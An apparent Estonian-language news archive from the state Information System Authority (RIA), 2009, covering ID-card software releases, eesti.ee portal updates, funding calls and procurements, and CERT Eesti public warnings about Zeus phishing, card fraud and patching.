„Samas tuleb uut tarkvara paigaldades meeles pidada, et tegemist on avalikuks testimiseks mõeldud versiooniga ja kasutajatel võib esineda probleeme. Windowsi omanikel soovitame veel kasutada vanemat versiooni – panime esmajärjekorras oma jõu tarkvara arendamisele nende süsteemide tarvis, millel varem ID-kaardi tugi puudus,“ lisas Arula.

Uue tarkvaraga saavad Maci ja Linuxi kasutajad esimest korda ID-kaardi graafilise haldusvahendi ning allkirjastamise tööriista. ID-kaardi tarkvara valmistas RIA tellimisel OÜ Smartlink, tarkvara valmimist toetas EL Regionaalarengu fond.

Uue ID-kaardi tarkvara saab alla laadida aadressilt: https://id.eesti.ee

1. oktoobril alustab RIAs tööd kriitilise informatsiooni infrastruktuuri kaitse osakond (KIIK). Osakonna ülesanne on Eesti kriitilise informatsiooni infrastruktuuri kaitse süsteemi loomine ja selle käigus hoidmine.

KIIK hakkab tegelema Eesti riigi toimimise seisukohast oluliste infosüsteemide kaitse küsimustega - nii avaliku kui ka erasektori IT süsteemidega. KIIK koordineerib üldiseid kaitsealaseid tegevusi, kuid iga elutähtsa teenuse omanik jääb endiselt vastutama enda süsteemide igapäevase kaitse eest.

Osakonna juhataja Toomas Viira selgitab: „Tänapäeval tugineb väga oluline osa meie igapäevastest tegemistest kas otseselt või kaudselt erinevatele IT süsteemidele. Poes pangakaardiga maksmisel peavad toimima panga IT süsteemid, telefoniga helistamiseks peavad töötama telefonioperaatori IT süsteemid, valgusfooride toimimiseks peavad fooride IT süsteemid korras olema, elektritootmist ja elektrivõrke juhitakse kasutades IT süsteeme, lennuliikluse juhtimine on mõeldamatu ilma IT süsteemideta jne. Näiteks, kas ja mis juhtub, kui veepuhastusjaama IT-süsteem üles ütleb? Või kuidas mõjutab pikemaajalisem elektrikatkestus erinevate süsteemide tööd?“

Viira sõnul on vaja ühte keskset üksust, mis analüüsib riigi toimimiseks olulisi teenuseid ja IT süsteemide omavahelisi mõjusid. "KIIK hindab erinevate teenustega seonduvaid ohtusid ja riske ning annab soovitusi süsteemide kaitse korraldamiseks. Kui KIIK hakkab tegutsema strateegilisel tasemel, siis CERT Eesti jätkab tegevustega operatiivtasemel."

Osakonna loomise mõte sündis kaks aastat tagasi, kui algas küberjulgeoleku strateegia kirjutamine aastateks 2008 - 2013. Sel aastal hakkab osakonnas tööle kaks inimest – osakonna juhataja ning riskijuht, tulevikus on plaanis meeskonda suurendada.

Eile hakkas levima e-kiri, mis näib paljude tuntud firmade nimel tööd pakkuvat. Kirjas palutakse inimestel lingile klikata, seda tehes saab inimese aga oma arvutisse viiruse. Selge on see, et ükski nendest firmadest sellisel kujul tööd ei paku, veel vähem saadavad nad viirusega nakatunud linke.

CERT Eesti infoturbe ekspert Tarmo Randel räägib: „Masu-aeg sunnib pahavara levitajaid kiirelt võõrkeeli omandama. Alates eilsest täheldati pangakoode ja muud isiklikku infot varastava troojalase Zeus rünnet Eesti elanikele. Nimelt saadeti e-postiaadressidele eestikeelne positiivses noodis kiri, milles pakuti töökoha kaotanutele tasuta võimalust leida töökoht või tõsta kvalifikatsiooni. Kirjas olev veebilink viib võimaliku ohvri spetsiaalselt ette valmistatud veebileheni, millelt kostitatakse külastaja brauserit nakatamise “kokteiliga””.

Randel lisab: „Üks võimalus nakkumist ära tunda on see, et arvuti taaskäivitab end paarikümne sekundi jooksul. Antiviirused pahalast arvutisse paigutavat koodi kahjuks kergesti ära ei tunne - kindlaim viis nakatumist vältida on mitte klikkida kahtlaste e-kirjadega kaasa tulnud linke“.

Kirja tekst ütleb: Ärge kaotage lootust. Tasuta aitame Teil uue tookoha leida. Samuti pakume kvalifikatsiooni tõstmise kursusi. Meie tööandjad: EMT, ELISA, TELE2, MICROSOFT, SYMANTEC ja palju... (järgneb link).

Sügiskuu on saabunud. Viirusekirjutajad, rämpspostitajad ja rahvusvahelised e-pangaröövlid on puhkuselt naasnud. Uues pakendis võlts-Viagra on veelgi odavam, rämpspostiga pommitavad Sind Audiocenter ja Inkassokeskus ning vaene vana tõrjeprogramm leiab Sinu torrentikataloogist üksteist viirust korraga.

CERT Eesti infoturbe ekspert Anto Veldre selgitab „Tegelikult ei soovi e-kurjategijad internetis halba teha - nad tahavad vaid natuke Sinu rahakoti kallal nagistada. Nad isegi ei plaani Sinu kaugast tühjendada kohe ja korraga. Nagu alalhoidlikule põllumehele kohane, sooviksid nad Sind tuluallikana oma laudas pidada kuid ja aastaid. Nakatunud arvuti on suure tulu allikas – lisaks pangakonto tühjendamisele saab selle abil saata rämpsposti, rünnata Gruusiat või häkkida Valge Maja arvuteid. Lisaks hoiustatakse Sinu arvutis mõni tagasihoidlik veebivorm, kuhu petetud naabrid saaksid omi pangakoode sisestada. Vahelduse mõttes võib e-mafiooso oma 10 000-st orjastatud arvutist koosneva armee mõne Eriti Suure Sigaduse sooritamiseks sõbrale päevaks välja rentida“.

Kindlasti saab e-kuritegevuse ohvriks ning oma rahast lahti nii:

1. Vasta Nigeeriast tulnud abipalvele või loteriivõitu pakkuvale kirjale. Tee ettemaks 10% Sulle lubatud summast.
2. Hangi endale ja hoia oma arvutis mõnd salakuulavat pangaviirust (Zeus, Sinowal). Juba paari päeva jooksul märkad asjakohaseid muudatusi oma pangaarvel.
3. Kliki bänneril, mis pakub eriti uut (kuigi tundmatu nimega) viirustõrjet. Kindlasti helista nende tasulisele abitelefonile, kus Sulle selgitatakse, justkui oleks Sinu praegune viirusetõrje vananenud ja tuleks arvutist kohe maha võtta.
4. Kliki mõtlematult läbi kõik lingid, mis sõprade arvutid Sinu MSNi aknasse paiskavad.
5. Kasuta huvitava tarkvara hankimiseks erinevaid P2P keskkondi (e-Mule, LimeWire). Tänapäeval on kuni 30% sealsetest failidest saastunud ning uusim moesuund on pangaviirusega nakatunud key-generator (tead ju küll, see progejupp, mis Sulle litsentsivõtme arvutab). Looduses valitseb tasakaal, arvutiprogrammi pealt kokku hoitud raha kasseerib viirus sinu pangakontolt.
6. Sisenda endale, et CERT Eesti tormihoiatused on kodumaise ulmekirjanduse kõrgeim vorm.

Anto Veldre,
CERT Eesti

Eelmisel aastal kuulutas RIA välja hanke uue ID-kaardi tarkvara loomiseks, mis lubab ID-kaardiga autentida ja digiallkirja anda lisaks Windowsi kasutajatele ka Mac'i ning Linuxi omanikel. Esimeste plaanide järgi oli tarkvara oodata suveks.

RIA valdkonnajuht Hannes Linno selgitab: „Nagu IT- arenduste puhul vahel juhtub, on suvi tulnud ja läinud, kuid uus tarkvara on veel testimisel. Alustuseks tahan siiralt Maci-Linuxi kasutajate ees vabandada. Me kasutame RIAs samuti erinevaid operatsioonisüsteeme ning teame, kui kaua on seda tarkvara oodatud ja millist frustratsiooni hilinemine tekitab. Veidi parem uudis on see, et 14. septembril anname tarkvara viimast korda partneritele proovida ning oktoobri alguses peab ID-kaardi tarkvara olema testitud ja valmis.“

Tarkvara arendaja OÜ Smartlink juhatuse liige Peeter Pappel räägib hilinemise tagamaid: „Esiteks  tuleb tunnistada, et projekt on kõigile osalistele kujunenud keerukamaks, kui alguses ennustasime. Teiseks oleme tarkvara turvalisusele mõeldes osade etappide arendusele kavandatust suuremat tähelepanu pööranud. Selleks, et tarkvara võimalikult kiiresti valmis saaks, oleme kaasanud täiendavaid arendajaid. Praeguseks on tarkvara seisus, et ta töötab, kuid tegeleme iluvigade parandamise ja testimisega“sõnas Pappel.

Testimisel olevat versiooni saab alla siit.

ID-kaardi tarkvara valmimist rahastatakse SF investeeringute kavast.
 

25. augustil toimub Viru Konverentsikeskuses infopäev „Kiika eesti.ee võimalusi“, millega RIA soovib innustada e-teenuste pakkumist riigiportaalis.

Eelroaks serveerime riigi infosüsteemi üldtutvustuse. Pearoana tutvustame riigiportaal eesti.ee teenuseid partneritele ning X-tee teenuste esitlemise uuenenud võimalusi. Haigekassa ning Siseministeerium jagavad magustoiduks oma kogemusi arendustöö koostööst.

Lisaks riigiportaali võimaluste näitamisele räägime ka eesti.ee uusimatest arendustest ning tulevikuplaanidest. Infopäev on hea võimalus saada tuttavaks riigiportaali uuenenud meeskonnaga.

Ürituse peakokk on Kalle Arula, RIA direktori asetäitja.  Üritus toimub EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond. Ürituse korraldab Riigi Infosüsteemide Arenduskeskus koos Tallinna Arvutikooliga.

Registreerimine infopäevale on lõppenud, päevakavaga saab tutuvuda siin.

 

Augustis algab riigiportaal eesti.ee uuenduskuur, mille käigus muutub riigiportaal oluliselt kasutajasõbralikumaks ja ilusamaks.

Riigiportaali peatoimetaja Argo Leetmaa selgitab: „Riigiportaal on aastatega kasvanud ja uuenenud. See on nagu maja, kus aja jooksul on ehitatud arvukalt juurdeehitusi, erinevates tubades remonti tehtud ja kuus korrust peale ehitatud. Nüüd on aeg, et vaataksime kogu portaali üle, et suurest  ehitisest tekiks ilus ja hästi kasutatav tervik. Selleks kuulutasime välja hanke asjatundliku partneri leidmiseks, kes aitaks portaali kasutajasõbralikuks muuta. “

Selle aasta jaanuarist märtsikuuni kogus RIA riigiportaali kohta tagasisidet – mis kasutajatele meeldib, mida portaalilt oodatakse ning mis on inimeste jaoks kõige keerulisem. Enim kommenteeriti just kasutajamugavust ja kujundust. Argo Leetmaa leiab, et tagasiside oli aus: „Viimati analüüsiti riigiportaali kasutajasõbralikkust aastaid tagasi, vahepeal on portaal kordades kasvanud. Näiteks eelmise aasta juunis külastas portaali 68 tuhat inimest, selle aasta juunikuus aga 126 tuhat inimest. Samas palume kasutajatelt natuke kannatust, sest nii suure portaali analüüs võtab aega – meie plaanide järgi on riigiportaal eesti.ee kenam ning kogu info paremini leitav järgmisel aastal“.

Eesti.ee kohta andis tagasisidet 6500 inimest, neist 570 liitus riigiportaali arendustiimiga, kes aitavad ka tulevikus uute teenuste  testimisel. Kogu kevadise teavituskampaania ja küsitluse rahastas SF programm Infoühiskonna teadlikkuse tõstmine.  

Portaali eesmärk on pakkuda kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest. Riigiportaali vahendusel on võimalik kasutada umbes sadat avalikku e-teenust ja ligi 300 ametlikku e-vormi või blanketti. Keskkonnas on üle 2000 erineva artikli ning enam kui 1500 linki.  

Info riigihanke kohta.

 

Juuni lõpus kuulutas RIA välja taotlusvooru infoühiskonna projektide rahastamiseks. Veidi rohkem kui kuuga saabus tervelt 93 eeltaotlust 350 miljoni krooni eest.

Selline populaarsus tuli üllatusena ja kuna eelarves oli nende projektide rahastamiseks kokku 250 miljonit krooni, lõpetas RIA sellest nädalast uute eeltaotluste vastu võtmise.

SF osakonna juhataja Jaak Liiviku sõnul ei tähenda see aga, et viimastena laekunud eeltaotlused kindlasti rahastamata jääksid: „Komisjon vaatab jooksvalt kõik projekti-ideed üle. Õnneks on konkurents tugev ja valikukriteeriumid sellised, et saame valida projektid, mis tõepoolest Eesti infoühiskonda hea panuse annavad.“

Projekte sai esitada riigivalitsemise tõhustamiseks, avalike teenuste loomiseks, osalusvõimaluste ja tehniliste ligipääsuvõimaluste parandamiseks. Lõpliku hinnangu eeltaotlustele annab Majandus- ja Kommunikatsiooniministeerium ning seejärel võivad toetuse taotlejad alustada hangete korraldamisega.

25. augustil toimub Viru Konverentsikeskuses infopäev „Kiika eesti.ee võimalusi“, millega RIA soovib innustada e-teenuste pakkumist riigiportaalis.

Infopäevale on eriti oodatud IT-lahenduste loojad, otsustajad ning arendajad. Lisaks riigiportaali võimaluste näitamisele räägime ka eesti.ee uusimatest arendustest ning tulevikuplaanidest.

Eelroaks serveerime riigi infosüsteemi üldtutvustuse. Pearoana tutvustame riigiportaal eesti.ee olemust, teenuseid partneritele ning X-tee teenuste esitlemise uuenenud võimalusi. Haigekassa ning Siseministeerium jagavad magustoiduks oma kogemusi arendustöö koostööst. Infopäev on hea võimalus saada tuttavaks riigiportaali uuenenud meeskonnaga.

Ürituse peakokk on Kalle Arula, Riigi Infosüsteemide Arenduskeskuse direktori asetäitja.  

Päevakava ja registreerimine

Üritus toimub EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond. Ürituse korraldab Riigi Infosüsteemide Arenduskeskus koos Tallinna Arvutikooliga.

Eesti suves, kus päikesega vaheldub vihm, jääb puhkajatel tavaliselt pisut aega tegelemaks virtuaalmaailmas ringirändamisega. Viimane on pärismaailmas rändamisega võrreldes oluliselt soodsam ja kiirem viis kaeda uusi maid ning sõlmida tutvusi. Ometi varitsevad virtuaalmaailma rändureid mitmed ohud - kui ei olda piisavalt tähelepanelik, paneb küberpaharett pihta teie rahakoti või nakatab teie armsa läpaka mõne kurja viirusega.

Viimastel päevadel on meedia tähelepanu juhtinud sagenevatele krediitkaardipettustele. CERT infoturbe ekspert Tarmo Randeli sõnul ei ole suur saladus, et „mustal“ küberturul kaubitsetakse juba aastaid krediitkaardiandmetega ja seda väga suurtes kogustes.

Tekib loomulik küsimus – kuskohast need andmed pärinevad ning mis põhjusel on need kogused nii suured? Selle peamine põhjus on internet - viimast kasutatakse üha rohkem e-kaubanduseks ning internetis krediitkaarti kasutavate kaardiomanike hulk kasvab pidevalt. Kuna suur osa andmetest varastatakse just kasutaja arvutist või interneti teel, siis toome omalt poolt välja mõned soovitused, et krediitkaardi omanikud saaksid riskantseid olukordi teadlikult vältida.

Anna oma kaardiandmeid ainult kohtadesse, mille turvalisuses oled veendunud. Krüpteerimata e-posti või veebivormi puhul ei tea kunagi, kes seda „tee peal“ lugeda võib ning kelleni see lõpuks jõuab. Samuti ei palu pangad mitte kunagi Sul oma andmeid e-kirja teel või kahtlaste veebilehtede kaudu uuendada. Veebipoodide ja hotellide puhul saad alati enne kaardiandmete andmist veenduda, kui usaldusväärne on tehingu teine osapool – otsimootorisse veebipoe või hotelli nime toksimine võtab üksnes mõned sekundid ning võib päästa suuremat sorti peavalust ning rahakaost.

Üks põhjus, miks krediitkaardi andmed kaovad, on hooletu suhtumine arvutis pesitsevasse pahavarasse. Mõned arvutikasutajad ei ole üldse teadlikud pahavaraga seotud ohtudest. Mõned on arvamusel, et keda nende andmed ikka huvitavad. Antiviirusest ja uuendustest keeldujad on tavaliselt kindlad, et kui „täiskasvanute“ veebilehtedel ei käida, siis „pahasid viiruseid“ ei saa endale ega arvutile tulla. On kindel, et kord arvutisse pugenud pahalane varastab vaikselt ja valimatult sisestatud andmeid ning edastab need oma tegelikule peremehele. Kogutud andmed müüakse edasi või kasutatakse neid näiteks netipoest kallite kaupade ostmisel.

Rahvusvahelisel areenil annab kõneainet 4. juulil alanud küberrünne Lõuna-Korea ja USA vastu. Rünnati peamiselt valitsusasutuste lehti ja mõndasid hästituntud veebilehti (näiteks yahoo.com). Huvitav on antud ründel kasutatud tarkvara, mis peale nädalast tegutsemist tegi endale „harakiri“, lõhkudes ühtlasi ka operatsioonisüsteemi kasutaja arvutis, milles ta pesitses. Levis see pahalane teada-tuntud Windowsi turva-auke kasutades. Siit jõuame pea igakordse teemani – hoidke kasutatav operatsioonisüsteem uuendatuna! Selle nädala teisipäev oli taas see päev, mil Microsoft avaldas uuenduste paki, mis muuhulgas parandab ühe praegu aktiivselt pahalaste kasutuses oleva turvavea. Nii et kiirustagem, seltsimehed windowsikasutajad!

„Kui juba jutt pettustele läks - ilmselt ei ole mõtet väga pikalt peatuda mehhaanilise tõlkijaga genereeritud vigases keeles lotovõiduteadetel. Osaluseksperimendi käigus lotovõidu kättesaamiseks saadetud „eestikeelsete“ blankettide täitmisega jäin mina küll hätta – osa kasutatud väljendeid on kas täiesti kontekstivälised või lihtsalt arusaamatud. Tundub, et siinkohal on kurikaelad liigse kliendiõbralikkusega küll endale ise augu kaevanud“, leiab Randel.

Kuuma päikest puhkajatele ja jahedat kontorit töistele soovides,

CERT Eesti
 

RIA kutsub osalema hankel riigiportaal eesti.ee visuaalse identiteedi loomiseks ja teavituskampaania läbiviimiseks. Teavituskampaania eesmärk on suurendada portaali võimalike kasutajate teadlikkust portaali olemasolu ning pakutavate võimaluste kohta.

Kõikide tööde valmimisaeg on selle aasta oktoober-november. Hanke käigus valmivad järgmised tööd:

1. riigiportaal eesti.ee visuaalse identiteedi loomine;
2. kampaania ideekontseptsiooni ja loovlahenduste väljatöötamine ja teostus;
3. teavituskampaania korraldamine;
4. vajalike allhangete teostamine;
5. meediaplaneerimine;
6. kampaania väljundite (reklaamtoodete – trükised, klipid, plakatid, jms.) kogumine ning arhiveerimine;
7. kampaania tulemuste analüüs.

Hange toimub EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames. Taotluste esitamise tähtaeg on 3. august 2009 kell 11.00. Lisainfo.

Sel neljapäeval, 9. juulil kell 13.00 – 15.00 toimub RIAs (Rävala 5, 5. korrus) infotund, kus räägime riigiportaali sisuhalduse täiendamise hankest. Üritusele on oodatud kõik arendajad, kes on hankes osalemisest huvitatud. Infotunni eesmärk on tutvustada RIA soove ja rääkida tausta, milline on meie visioon arenduseks.

Hanke eesmärk on täiendada riigiportaali eesti.ee sisuhaldust ja kasutajale info esitamise funktsionaalsust. Samuti soovime tõsta kasutusmugavust, vähendada sisuhalduse toimetajate koormust ja saada parem ülevaade sisseviidud uuenduste kohta.

Riigiportaal eesti.ee pakub kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest.

Lisainfo:
Vassili Ljahhovets
Projektijuht
663 0263
51 20 145
vassili.ljahhovets[ät]ria.ee

Täna toimub Viru Konverentsikeskuses infopäev „Arendusprotsessi parimad praktikad“, mis toob kokku avaliku sektori IT-lahenduste tellijad ning elluviijad. Päeva jooksul jagatakse praktilisi kogemusi ning räägitakse headest ja halbadest näidetest, millega IT-lahenduste loomise juures sageli silmitsi seistakse.

„Loodan, et suudame panna osalejad unustama, et saalis on nende konkurendid või lepingupartnerid ning tekib hea õhkkond mõtete ja kogemuste vahetamiseks“, kommenteeris RIA asedirektor Kalle Arula. „Selleks, et infotehnoloogiaga seotud projektid oleksid edukad, on oluline, et täitja ja tellija räägiks sama keelt“, lisas ta.

Infopäev on osa koolituste- ja infopäevade sarjast „Tark e-riik“, mille eesmärk on riigi infosüsteemi laiade võimaluste tutvustamine ning tõhusam koostöö avaliku ja erasektori vahel.

Koolitustesari toimub EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond. Ürituse korraldab Riigi Infosüsteemide Arenduskeskus koos Tallinna Arvutikooliga.

Osalejate registreerumine on lõppenud.

Päevakava.

Tänasest on avatud registreerumine riigi infosüsteemi võimalusi tutvustavate koolitustele ja infopäevadele. Esimesed üritused toimuvad juuli alguses – 1. juulil toimub infopäev arendusprotsessi parimatest praktikatest avalikus sektoris ning 2. juulil koolitus infosüsteemide turvameetmete süsteemi rakendamisest. Kokku on aasta lõpuks kavas läbi viia 27 koolitust ning infopäeva.

Koolitustesarja „Tark e-riik“ põhirõhk on riigi infovarade kaitsmisel ning semantika valdkonna tutvustamisel. Infopäevadel tõhustatakse koostööd avaliku- ja erasektori vahel IT-lahenduste loomisel ning elluviimisel.

„Ametnik peab e-riigi sõber olema!“, kommenteeris koolituste eesmärki projektijuht Rica Semjonova. „Kuigi riigi infosüsteemiga seotud teemad tunduvad keerulised, siis usun, et koolitustega tõestame vastupidist“. Kõiki neid teadmisi saab praktikasse rakendada“, lisas Semjonova.
Koolituste ja infopäevade peamiseks sihtgrupiks on andmekogude haldajad ja pidajad, ISKE rakendajad, avaliku sektori IT-juhid ning spetsialistid.

Osalemine on avaliku sektori spetsialistidele tasuta.

Koolitused ja infopäevad toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond. Koolitusi ja infopäevasid viib läbi Tallinna Arvutikool OÜ.

Lisainfo ja registreerimine.

See nädal on paikamise nädal. Microsoft avaldas paar päeva tagasi oma toodetele rekordilise koguse paiku. Kodukasutajate on neist väga olulised neli, süsteemihaldurite tööpõld on oluliselt  mitmekesisem. Seega, enne suvepuhkusi lappige kindlasti Windows ja rakendused ära, et arvutipahalaste levitajatel elu natukenegi kibedamaks teha. Microsoftiga samal ajal avaldati parandused ka toodetele Adobe ja Apple.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul on seoses Apple kasvava populaarsusega sagenenud teated macikasutajatele suunatud pahavarast. "Siinkohal on õige hetk meelde tuletada, et Maci muretsemine ei tähenda automaatselt, et netist tulev oht on teie jaoks kadunud! Mida rohkem „õunu“ kasutajate hulgas levib, seda magusamaks muutuvad pahalastele ka „õunte“ kasutajad s.t. tekib küberkurjategijatel huvi macikasutajatele suunatud pahavara loomiseks", selgitab Randel.

Kasutad sa Mac'i, Linuxit või Windowsi – info kalastajatele pole see oluline. Viimased on vägagi aktiivseks muutunud – ilmselt on vaja suvepuhkuse jaoks raha teenida. Eestlasi puudutab enim vast Paypali kasutajakontode andmete väljapetmine võltslehtedelt. CERT Eesti andmetel on nii mõnigi eestlane oma Paypali konto andmed vabatahtlikult kurikaeltele usaldanud. Sestap tahaks inimestele südamele panna, et nad terake tähelepanelikumad oleks.

Universaalset meetodit, kuidas eraldada võltslehte päriselehest, ei saa anda, sest kurikaelad leiutavad pidevalt uuemaid trikke, kuidas arvutikasutajat petta. Tasub välja tuua kaks asja, mille abil on libalehe tuvastamine lihtsam:
1. veebilehe aadress on tavaliselt ürituse nimega seotud (turvaline www.paypal.com vs ebaturvaline www.greatweb.com/monday/paypal);
2. rahaga seotud andmeid küsiv veebileht peab kasutama HTTPS turvaprotokolli, mis avaldub aadressiribal https:// algusega (tava-aadressitel on aadressiribal http://).

Grilli ja -tšillihooaega ilmestab meie tehnoloogiliseks muutunud igapäevamaailmas WiFi oher tarbimine. Päris mõnus on ju peale grillvorstidel teise külje pööramist libistada läptop põlvedele ja MSNi kaudu sõbrad külla kutsuda. Õues WiFit pakkuvate „purkide“ ülesseadmisel peab peremees jälgima lihtsaid turvareegleid. Ilma turvameetmeid rakendamata oleks igaühe suhtlus MSNis kerge vaevaga pealtkuulatav. Kui tellid seadmed koos ülesseadmisega, siis kindlasti nõua tehnikult, et ta teeks seda turvaliselt. Ise seadistades järgi reegleid - lihtsad turvajuhised koduse WiFi tarvis ja muid häid nõuandeid leiad lehelt http://kaardistajad.wifi.ee/turva.php

Turvalist jaanipäeva soovides,
Sinu CERT

CERT Eesti (Computer Emergency Response Team) on Riigi Infosüsteemide Arenduskeskuse osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemise ja ennetamisega ning kasutajate turvateadlikkuse tõstmisega.

RIA alustab 29. juunil struktuuritoetuse taotluste vastuvõttu projektide rahastamiseks, mis aitavad sel ja järgisel aastal edendada infoühiskonda.

Toetuse taotlusi võtab RIA vastu jooksvalt 2009. ja 2010. aasta jooksul, projektide rahastamiseks on kokku 250 miljonit krooni.

Toetusi saab kasutada info- ja kommunikatsioonitehnoloogia abil riigivalitsemise tõhustamiseks; kodanikele, ettevõtetele ja avaliku sektori asutustele avalike teenuste paremaks osutamiseks ning tehniliste ligipääsuvõimaluste ja osalusvõimaluste suurendamiseks.

Toetust võivad taotleda põhiseaduslikud institutsioonid, valitsusasutused ja nende hallatavad asutused, kohalikud omavalitsused, kohalike omavalitsuste liidud, mittetulundusühingud ja sihtasutused, avalik-õiguslikud juriidilised isikud.

Toetuse saamiseks peab arendusprojektide sisu olema:
*kasutuses olevate riigi infosüsteemi koosvõime suurendamine, sh süsteemide täiustamine ja andmete korrastamine;
*riigi infosüsteemi turvalisuse tõstmine;
*teabe universaalsele digitaalsele kujule viimine koos selle avalikult kättesaadavaks tegemisega;
*üleminek paberivabale asjaajamisele avalikus halduses;
*avalike teenuste, sh infoteenuste arendamine.

Lisainfot taotluste esitamise kohta saab struktuurifondide lehelt  ja meiliaadressilt ria@ria.ee
 

Riigi Infosüsteemide Arenduskeskuse tellimusel ning OÜ Smartlink teostamisel on valmimas ID-kaardi baastarkvara Windows, Mac ja Linux operatsioonisüsteemidele.

Koos platvormide laiendamisega uuendame ka DigiDoc teeke – JAVA teek sai kergema uuenduskuuri ning C++ teek on täiesti uus.Arenduste käigus lisati uue BDOC formaadi tugi ning suurendati oluliselt
brauserite platvormiülest toimimist.

Kavade kohaselt avalikustatakse uus tarkvara lõpptarbijatele suve jooksul ja  loomulikult oleme huvitatud, et  kasutajatele suunatud veebikeskkonnad oleksid võimelised uut ja täienenud tarkvara toetama.

Selleks, et ka Teie pakutud tarkvara/veebikeskkond oleks suuteline lihtsalt uusi teeke toetama, kutsume Teid RIA-sse teabepäevale, mis toimub 15. juunil kell 12:00 RIAs (Rävala pst. 5, V korrus).

Teabepäeval tutvustab ID kaardi baastarkvara arendaja Digidoc teekide uut  API-t.

Üritus on suunatud arendajatele ja süsteemiarhitektidele, kes oma igapäevatöös puutuvad kokku Digidoc teekide rakendamisega.

Kuna kohtade arv on piiratud, palun oma tulekust teada anda e-posti teel aadressile hannes.linno[ät]ria.ee
 

Millised on viimased arengud Riigi Infosüsteemi Haldussüsteemis (RIHA)? Kui palju uusi infosüsteeme tänaseks registreeritud on? Kes soovisid aprillis ja mais RIHAga liituda?

Kõigile nendele ja paljudele muudele küsimustele saab vastuse RIHA uudiskirjast (PDF). 

RIA kutsub Sind esinema seminarile „Arendusprotsessi parimad praktikad“. Seminar toimub juunis Tallinnas (kuupäev täpsustamisel) ja on suunatud avaliku sektori IT-juhtidele ning nende arenduspartneritele.

Otsime ettekandeid (ca 20 min) infopäeva kolme osasse:
1. projektide algatamine;
2. projektide elluviimine;
3. elu peale arendusprojekti lõppu.

Ettekanded peaksid rääkima senistest kogemustest, parimatest/halvimatest praktikatest ning hea tava kohaselt mitte sisaldama reklaami konkreetsele tootele, teenusele, firmale.

Head ideed sünnivad tavaliselt kiiresti – seega ootame Teie mõtteid juba esmaspäevaks 25ndaks maiks, et saaksime võimalike esinejatega kiiresti ühendust võtta ning nad ühise laua taha kutsuda. Selleks kirjuta rica.semjonova@ria.ee või tel 6630295.

Üritus toimub programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu fond.

Loodan Teie aktiivset osalemist!
 

Riigi infosüsteemi võimaluste tutvustamiseks ning paremaks ellu viimiseks on 2009. aastal kavas läbi viia neli infopäeva (50-100 osalejat) ning 23 koolitust (12-45 osalejat). RIA algatas hanke, et leida kõigile üritustele korraldaja.

Täitja kohustused:
1.      Läbi viia kokku lepitud koolitused ja infopäevad eelnevalt RIAga kooskõlastatud sisu alusel;
2.      Leppida kokku koolituste korraldamise ajad;
3.      Organiseerida koolituste ja infopäevade ruumid, toitlustuse, vajaliku tehnika, materjalid, lektorid, nende tasustamise;
4.      Koostada osalejate nimekiri;
5.      Arvestada iga uue koolituse/infopäeva puhul eelmiste tagasisidega;
6.      Viia läbi koolitused ja infopäevad vastavalt EL struktuuritoetusele viitamise juhendile (lipud, logod ja muu tähistamine).

Pakkumuse esitamise tähtaeg: 15.05.2009 kella 11:00-ks
Hankega seotud küsimused-vastused

Kontaktisik:
Rica Semjonova
SF programmi "Infoühiskonna teadlikkuse tõstmine"
projektijuht
rica.semjonova[ät]ria.ee
663 0295

Euroopa Parlamendi valimisteks saab e-valijakaarti tellida kuni  7.mai õhtuni. Eile õhtuks oli riigiportaali eesti.ee kaudu elektroonilise teate tellinud 10 309 inimest. Eelmisteks valimisteks telliti 7026 elektroonilist valijakaarti.

Eesti.ee valdkonnajuht Eerik Hanni ootab sel aastal poole rohkem valijakaarte, kui telliti eelmisteks valimisteks. Ma loodan, et tänasega lisandub veel mitu tuhat eestimaalast, kes eelistavad paberivaba valijakaarti. Erinevus eelmisest valijakaardi tellimisest on oluline – seekord jääb see kehtima ka kõikideks järgmisteks valimisteks“.

Elektroonilise teate saab tellida http://www.eesti.ee/portaal/valimised.eabi. E-valijakaart annab teada kus, millal ja kuidas on võimalik hääletada. Seda ei pea välja printima ega valimisjaoskonda kaasa võtma.

E-valijakaardi tellimiseks peab olema aktiveeritud eesnimi.perenimi@eesti.ee e-posti aadress, mis on olemas igal ID-kaardi omanikul. Näitlikku materjali, kuidas enda @eesti.ee postiaadress aktiveerida, näeb aadressilt http://www.eesti.ee/portaal/!portaal.abi

Riigiportaal eesti.ee koondab riigi ja kohalike omavalitsuste infot ning teenuseid. Portaali on selle aasta nelja kuuga külastanud 850 167 inimest, mis on keskmiselt 7 084 külastajat päevas.

CERT-EE algatas  küberturbesüsteemide edasiarenduseks riigihanke "Turvarikete ja toimepidevuse monitooringu süsteem".

Pakkumused on oodatud firmadelt, kellel on olemas sügavad teadmised ning põhjalik kogemus võrguturbe, võrguseire ja TCP/IP protokolliperekonna osas ning piisav hulk kõrge kvalifikatsiooniga spetsialiste.

Loodame riigihankega leida tipptaseme spetsialistide tiimi, kus on inimeste ülihea ettevalmistus infoturbes ja internetiteenuse pakkumisel. See võimaldab loobuda ajakulust enese kurssiviimisel meie spetsiifilise valdkonnaga ning tiim saaks kohe käsile võtta uute süsteemide disaini, paigalduse ning häälestuse.

Hanke kutse RIA kodulehel.

Hanketeade riigihangete registris.

Sel nädalal toimuvad kaks infopäeva era- ja avaliku sektori asutustele, kus tutvustatakse IKT projektide rahastusvõimalusi. 2009. aastal toetatakse projekte saja miljoni euro ulatuses.

